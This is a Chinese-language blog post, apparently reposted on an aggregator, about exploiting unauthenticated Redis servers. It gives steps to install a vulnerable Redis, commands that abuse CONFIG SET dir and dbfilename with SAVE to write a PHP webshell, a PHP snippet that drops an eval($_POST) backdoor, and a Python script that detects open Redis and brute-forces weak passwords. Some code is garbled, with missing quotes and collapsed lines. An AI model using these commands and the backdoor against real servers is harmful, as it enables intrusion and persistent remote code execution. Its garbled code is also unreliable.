1. 程式人生 > >Redis 未授權訪問漏洞(附Python腳本)

Redis 未授權訪問漏洞(附Python腳本)

dir for return -s src acl save 密碼 password

0x01 環境搭建

#下載並安裝
cd /tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
#啟動redis服務
cd src
./redis-server

啟動redis服務進程後,就可以使用測試客戶端程序redis-cli和redis服務交互了。 比如:

[email protected]:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
192.168.125.140:6379
> ping PONG 192.168.125.140:6379>

0x02 未授權訪問漏洞測試

使用redis客戶端直接無賬號成功登錄redis:

技術分享

從登錄的結果可以看出該redis服務對公網開放,且未啟用認證。

利用redis寫webshell

利用前提:

1.redis未授權 能redis-cli連上

2.開了web並且知道路徑(如利用phpinfo)

我們可以將dir設置為一個目錄a,而dbfilename為文件名b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件:

config set dir /home/wwwroot/default/
config set
dbfilename redis.php set webshell "<?php phpinfo(); ?>" save

當數據庫過大時,redis寫shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen(wtf.php,w);
fwrite($fp,<?php @eval($_POST[\"mmbns233\"]);?>);
exit();
?>

0x03 Pyhton腳本自動化測試

可用來測試是否存在未授權或弱口令的情況

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
PASSWORD_DIC
=[redis,root,oracle,password,[email protected],abc123!,123456,admin] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未授權訪問" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if +OK in result: return u"存在弱口令,密碼:%s" % (pass_) except Exception, e: pass print check("192.168.125.140", "6379", timeout=10)

參考文章:

Redis 安裝 http://www.runoob.com/redis/redis-install.html

Redis未授權訪問漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

Redis 未授權訪問漏洞(附Python腳本)